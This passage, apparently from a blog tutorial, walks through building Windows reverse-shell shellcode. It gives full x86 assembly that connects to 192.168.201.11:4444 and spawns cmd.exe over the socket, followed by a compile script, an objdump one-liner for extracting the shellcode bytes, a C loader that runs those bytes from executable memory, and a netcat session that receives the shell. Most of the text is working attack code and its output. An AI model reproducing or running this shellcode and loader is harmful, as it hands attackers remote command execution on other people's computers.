MOV EBX, [EAX + 0x10]           ;EBX = Base address

; Export Table
MOV EDX, DWORD  [EBX + 0x3C]    ;EDX = DOS->e_lfanew
ADD EDX, EBX                    ;EDX = PE Header
MOV EDX, DWORD  [EDX + 0x78]    ;EDX = Offset export table
ADD EDX, EBX                    ;EDX = Export table
MOV ESI, DWORD  [EDX + 0x20]    ;ESI = Offset names table
ADD ESI, EBX                    ;ESI = Names table
XOR ECX, ECX                    ;EXC = 0

GetFunction :

INC ECX; increment counter
LODSD                                       ;Get name offset
ADD EAX, EBX                                ;Get function name
CMP dword [EAX], 0x50746547                 ;"PteG"
JNZ SHORT GetFunction                       ;jump to GetFunction label if not "GetP"
CMP dword [EAX + 0x4], 0x41636F72           ;"rocA"
JNZ SHORT GetFunction                       ;jump to GetFunction label if not "rocA"
CMP dword [EAX + 0x8], 0x65726464           ;"ddre"
JNZ SHORT GetFunction                       ;jump to GetFunction label if not "ddre"
        
MOV ESI, DWORD [EDX + 0x24]                 ;ESI = Offset ordinals
ADD ESI, EBX                                ;ESI = Ordinals table
MOV CX,  WORD [ESI + ECX * 2]               ;CX = Number of function
DEC ECX                                     ;Decrement the ordinal
MOV ESI, DWORD [EDX + 0x1C]                 ;ESI = Offset address table
ADD ESI, EBX                                ;ESI = Address table
MOV EDX, DWORD [ESI + ECX * 4]              ;EDX = Pointer(offset)
ADD EDX, EBX                                ;EDX = GetProcAddress

; Get the Address of LoadLibraryA function
XOR ECX, ECX                                   ;ECX = 0
PUSH EBX                                       ;Kernel32 base address
PUSH EDX                                       ;GetProcAddress
PUSH ECX                                       ;0
PUSH 0x41797261                                ;"Ayra"
PUSH 0x7262694C                                ;"rbiL"
PUSH 0x64616F4C                                ;"daoL"
PUSH ESP                                       ;"LoadLibrary"
PUSH EBX                                       ;Kernel32 base address
MOV  ESI, EBX                                  ;save the kernel32 address in esi for later
CALL EDX                                       ;GetProcAddress(LoadLibraryA)
                          
ADD ESP, 0xC                                   ;pop "LoadLibraryA"
POP EDX                                        ;EDX = 0
PUSH EAX                                       ;EAX = LoadLibraryA
PUSH EDX                                       ;ECX = 0
MOV DX, 0x6C6C                                 ;"ll"
PUSH EDX                          
PUSH 0x642E3233                                ;"d.23"
PUSH 0x5F327377                                ;"_2sw"
PUSH ESP                                       ;"ws2_32.dll"
CALL EAX                                       ;LoadLibrary("ws2_32.dll")
                          
ADD  ESP, 0x10                                 ;Clean stack
MOV  EDX, [ESP + 0x4]                          ;EDX = GetProcAddress
PUSH 0x61617075                                ;"aapu"
SUB  word [ESP + 0x2], 0x6161                  ;"pu" (remove "aa")
PUSH 0x74726174                                ;"trat"
PUSH 0x53415357                                ;"SASW"
PUSH ESP                                       ;"WSAStartup"
PUSH EAX                                       ;ws2_32.dll address
MOV  EDI, EAX                                  ;save ws2_32.dll to use it later
CALL EDX                                       ;GetProcAddress(WSAStartup)
                          
; Call WSAStartUp                        
XOR  EBX, EBX                                  ;zero out ebx register
MOV  BX, 0x0190                                ;EAX = sizeof(struct WSAData)
SUB  ESP, EBX                                  ;allocate space for the WSAData structure
PUSH ESP                                       ;push a pointer to WSAData structure
PUSH EBX                                       ;Push EBX as wVersionRequested
CALL EAX                                       ;Call WSAStartUp

;Find the address of WSASocketA
ADD  ESP, 0x10                       ;Align the stack
XOR  EBX, EBX                        ;zero out the EBX register
ADD  BL, 0x4                         ;add 0x4 at the lower register BL
IMUL EBX, 0x64                       ;EBX = 0x190
MOV  EDX, [ESP + EBX]                ;EDX has the address of GetProcAddress
PUSH 0x61614174                      ;"aaAt"
SUB  word [ESP + 0x2], 0x6161        ;"At" (remove "aa")
PUSH  0x656b636f                     ;"ekco"
PUSH  0x53415357                     ;"SASW"
PUSH ESP                             ;"WSASocketA", GetProcAddress 2nd argument
MOV  EAX, EDI                        ;EAX now holds the ws2_32.dll address
PUSH EAX                             ;push the first argument of GetProcAddress
CALL EDX                             ;call GetProcAddress
PUSH EDI                             ;save the ws2_32.dll address to use it later
               
;call WSASocketA               
XOR ECX, ECX                         ;zero out ECX register
PUSH EDX                             ;null value for dwFlags argument
PUSH EDX                             ;zero value since we dont have an existing socket group
PUSH EDX                             ;null value for lpProtocolInfo
MOV  DL, 0x6                         ;IPPROTO_TCP
PUSH EDX                             ;set the protocol argument
INC  ECX                             ;SOCK_STREAM(TCP)
PUSH ECX                             ;set the type argument
INC  ECX                             ;AF_INET(IPv4)
PUSH ECX                             ;set the ddress family specification argument
CALL EAX                             ;call WSASocketA
XCHG EAX, ECX                        ;save the socket returned from WSASocketA at EAX to ECX in order to use it later
               
;Find the address of connect
POP  EDI                             ;load previously saved ws2_32.dll address to ECX
ADD  ESP, 0x10                       ;Align stack
XOR  EBX, EBX                        ;zero out EBX
ADD  BL, 0x4                         ;add 0x4 to lower register BL
IMUL EBX, 0x63                       ;EBX = 0x18c
MOV  EDX, [ESP + EBX]                ;EDX has the address of GetProcAddress
PUSH 0x61746365                      ;"atce"
SUB  word [ESP + 0x3], 0x61          ;"tce" (remove "a")
PUSH 0x6e6e6f63                      ;"nnoc"
PUSH ESP                             ;"connect", second argument of GetProcAddress
PUSH EDI                             ;ws32_2.dll address, first argument of GetProcAddress
XCHG ECX, EBP
CALL EDX                             ;call GetProcAddress

;call connect
PUSH 0x0bc9a8c0                      ;sin_addr set to 192.168.201.11
PUSH word 0x5c11                     ;port = 4444
XOR  EBX, EBX                        ;zero out EBX
add  BL, 0x2                         ;TCP protocol
PUSH word BX                         ;push the protocol value on the stack
MOV  EDX, ESP                        ;pointer to sockaddr structure (IP,Port,Protocol)
PUSH byte  16                        ;the size of sockaddr - 3rd argument of connect
PUSH EDX                             ;push the sockaddr - 2nd argument of connect
PUSH EBP                             ;socket descriptor = 64 - 1st argument of connect
XCHG EBP, EDI
CALL EAX                             ;execute connect;

;Find the address of CreateProcessA
ADD  ESP, 0x14                       ;Clean stack
XOR  EBX, EBX                        ;zero out EBX
ADD  BL, 0x4                         ;add 0x4 to lower register BL
IMUL EBX, 0x62                       ;EBX = 0x194
MOV  EDX, [ESP + EBX]                ;EDX has the address of GetProcAddress
PUSH 0x61614173                      ;"aaAs"
SUB  dword [ESP + 0x2], 0x6161       ;"As"
PUSH 0x7365636f                      ;"seco"
PUSH 0x72506574                      ;"rPet"
PUSH 0x61657243                      ;"aerC"
PUSH ESP                             ;"CreateProcessA" - 2nd argument of GetProcAddress
MOV  EBP, ESI                        ;move the kernel32.dll to EBP
PUSH EBP                             ;kernel32.dll address - 1st argument of GetProcAddress
CALL EDX                             ;execute GetProcAddress
PUSH EAX                             ;address of CreateProcessA
LEA EBP, [EAX]                       ;EBP now points to the address of CreateProcessA

;call CreateProcessA
PUSH 0x61646d63                      ;"admc"
SUB  word [ESP + 0x3], 0x61          ;"dmc" ( remove a)
MOV  ECX, ESP                        ;ecx now points to "cmd" string
XOR  EDX, EDX                        ;zero out EDX
SUB  ESP, 16
MOV  EBX, esp                        ;pointer for ProcessInfo

;STARTUPINFOA struct
PUSH EDI                             ;hStdError  => saved socket
PUSH EDI                             ;hStdOutput => saved socket
PUSH EDI                             ;hStdInput  => saved socket
PUSH EDX                             ;lpReserved2 => NULL
PUSH EDX                             ;cbReserved2 => NULL
XOR  EAX, EAX                        ;zero out EAX register
INC  EAX                             ;EAX => 0x00000001
ROL  EAX, 8                          ;EAX => 0x00000100
PUSH EAX                             ;dwFlags => STARTF_USESTDHANDLES 0x00000100
PUSH EDX                             ;dwFillAttribute => NULL
PUSH EDX                             ;dwYCountChars => NULL
PUSH EDX                             ;dwXCountChars => NULL
PUSH EDX                             ;dwYSize => NULL
PUSH EDX                             ;dwXSize => NULL
PUSH EDX                             ;dwY => NULL
PUSH EDX                             ;dwX => NULL
PUSH EDX                             ;pTitle => NULL
PUSH EDX                             ;pDesktop => NULL
PUSH EDX                             ;pReserved => NULL
XOR  EAX, EAX                        ;zero out EAX
ADD  AL, 44                          ;cb => 0x44 (size of struct)
PUSH EAX                             ;eax points to STARTUPINFOA

;ProcessInfo struct
MOV  EAX, ESP                        ;pStartupInfo
PUSH EBX                             ;pProcessInfo
PUSH EAX                             ;pStartupInfo
PUSH EDX                             ;CurrentDirectory => NULL
PUSH EDX                             ;pEnvironment => NULL
PUSH EDX                             ;CreationFlags => 0
XOR  EAX, EAX                        ;zero out EAX register
INC  EAX                             ;EAX => 0x00000001
PUSH EAX                             ;InheritHandles => TRUE => 1
PUSH EDX                             ;pThreadAttributes => NULL
PUSH EDX                             ;pProcessAttributes => NULL
PUSH ECX                             ;pCommandLine => pointer to "cmd"
PUSH EDX                             ;ApplicationName => NULL
CALL EBP                             ;execute CreateProcessA

The above code will be saved inside a file named rev.nasm in order to be compiled and linked. The following bash script compile.sh will be used for compilation and linking

#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f win32 $1.nasm -o $1.obj

echo '[+] Linking ...'
ld -o $1.exe $1.obj

echo '[+] Done!'

In case the execution of the compile.sh above produces the following output and linking error

──(root㉿kali)-[/home/kali/Desktop]
└─# ./compile.sh rev
[+] Assembling with Nasm ...
[+] Linking ...
ld: i386 architecture of input file `rev.obj' is incompatible with i386:x86-64 output
[+] Done!

Alter the line that performs the linking with the following

#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f win32 $1.nasm -o $1.obj

echo '[+] Linking ...'
ld -m elf_i386 -s  -o $1.exe $1.obj

echo '[+] Done!'

Then run the compile.sh again

┌──(root㉿kali)-[/home/kali/Desktop]
└─# ./compile.sh rev
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!

At this point we use objdump in order to produce the shellcode:

kali@kali:~/Desktop$ objdump -d ./testasm.exe|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xc9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\x89\xde\xff\xd2\x83\xc4\x0c\x5a\x50\x52\x66\xba\x6c\x6c\x52\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x04\x68\x75\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x89\xc7\xff\xd2\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x53\xff\xd0\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x64\x8b\x14\x1c\x68\x74\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x89\xf8\x50\xff\xd2\x57\x31\xc9\x52\x52\x52\xb2\x06\x52\x41\x51\x41\x51\xff\xd0\x91\x5f\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x63\x8b\x14\x1c\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03\x61\x68\x63\x6f\x6e\x6e\x54\x57\x87\xcd\xff\xd2\x68\xc0\xa8\xc9\x0b\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x55\x87\xef\xff\xd0\x83\xc4\x14\x31\xdb\x80\xc3\x04\x6b\xdb\x62\x8b\x14\x1c\x68\x73\x41\x61\x61\x81\x6c\x24\x02\x61\x61\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x89\xf5\x55\xff\xd2\x50\x8d\x28\x68\x63\x6d\x64\x61\x66\x83\x6c\x24\x03\x61\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xff\xd5"

In order to execute the above shellcode, we should create a STUB program in C which will deliver the execution. The following program will execute the reverse shellcode.


#include <windows.h>

char code[] = 
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b"
"\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31"
"\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f"
"\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde"
"\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xc9\x53"
"\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54"
"\x53\x89\xde\xff\xd2\x83\xc4\x0c\x5a\x50\x52\x66\xba\x6c\x6c\x52\x68\x33"
"\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x04"
"\x68\x75\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74\x68"
"\x57\x53\x41\x53\x54\x50\x89\xc7\xff\xd2\x31\xdb\x66\xbb\x90\x01\x29\xdc"
"\x54\x53\xff\xd0\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x64\x8b\x14\x1c"
"\x68\x74\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x6b\x65\x68"
"\x57\x53\x41\x53\x54\x89\xf8\x50\xff\xd2\x57\x31\xc9\x52\x52\x52\xb2\x06"
"\x52\x41\x51\x41\x51\xff\xd0\x91\x5f\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b"
"\xdb\x63\x8b\x14\x1c\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03\x61\x68\x63"
"\x6f\x6e\x6e\x54\x57\x87\xcd\xff\xd2\x68\xc0\xa8\xc9\x0b\x66\x68\x11\x5c"
"\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x55\x87\xef\xff\xd0\x83"
"\xc4\x14\x31\xdb\x80\xc3\x04\x6b\xdb\x62\x8b\x14\x1c\x68\x73\x41\x61\x61"
"\x81\x6c\x24\x02\x61\x61\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72"
"\x68\x43\x72\x65\x61\x54\x89\xf5\x55\xff\xd2\x50\x8d\x28\x68\x63\x6d\x64"
"\x61\x66\x83\x6c\x24\x03\x61\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57"
"\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52"
"\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50"
"\x52\x52\x51\x52\xff\xd5";

int main(int argc, char** argv)
{
  void* exec = VirtualAlloc(0, strlen(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(exec, code, sizeof(code));
  ((void(*)())exec)();

  return 0;
}

After compiling and running the above program we will have command execution on our kali machine as seen at the screenshot below

kali@kali:~/Desktop$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.201.11] from (UNKNOWN) [192.168.201.12] 60839
Microsoft Windows [Version 10.0.19043.1165]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Xenofon\source\repos\test\test>

Leave a comment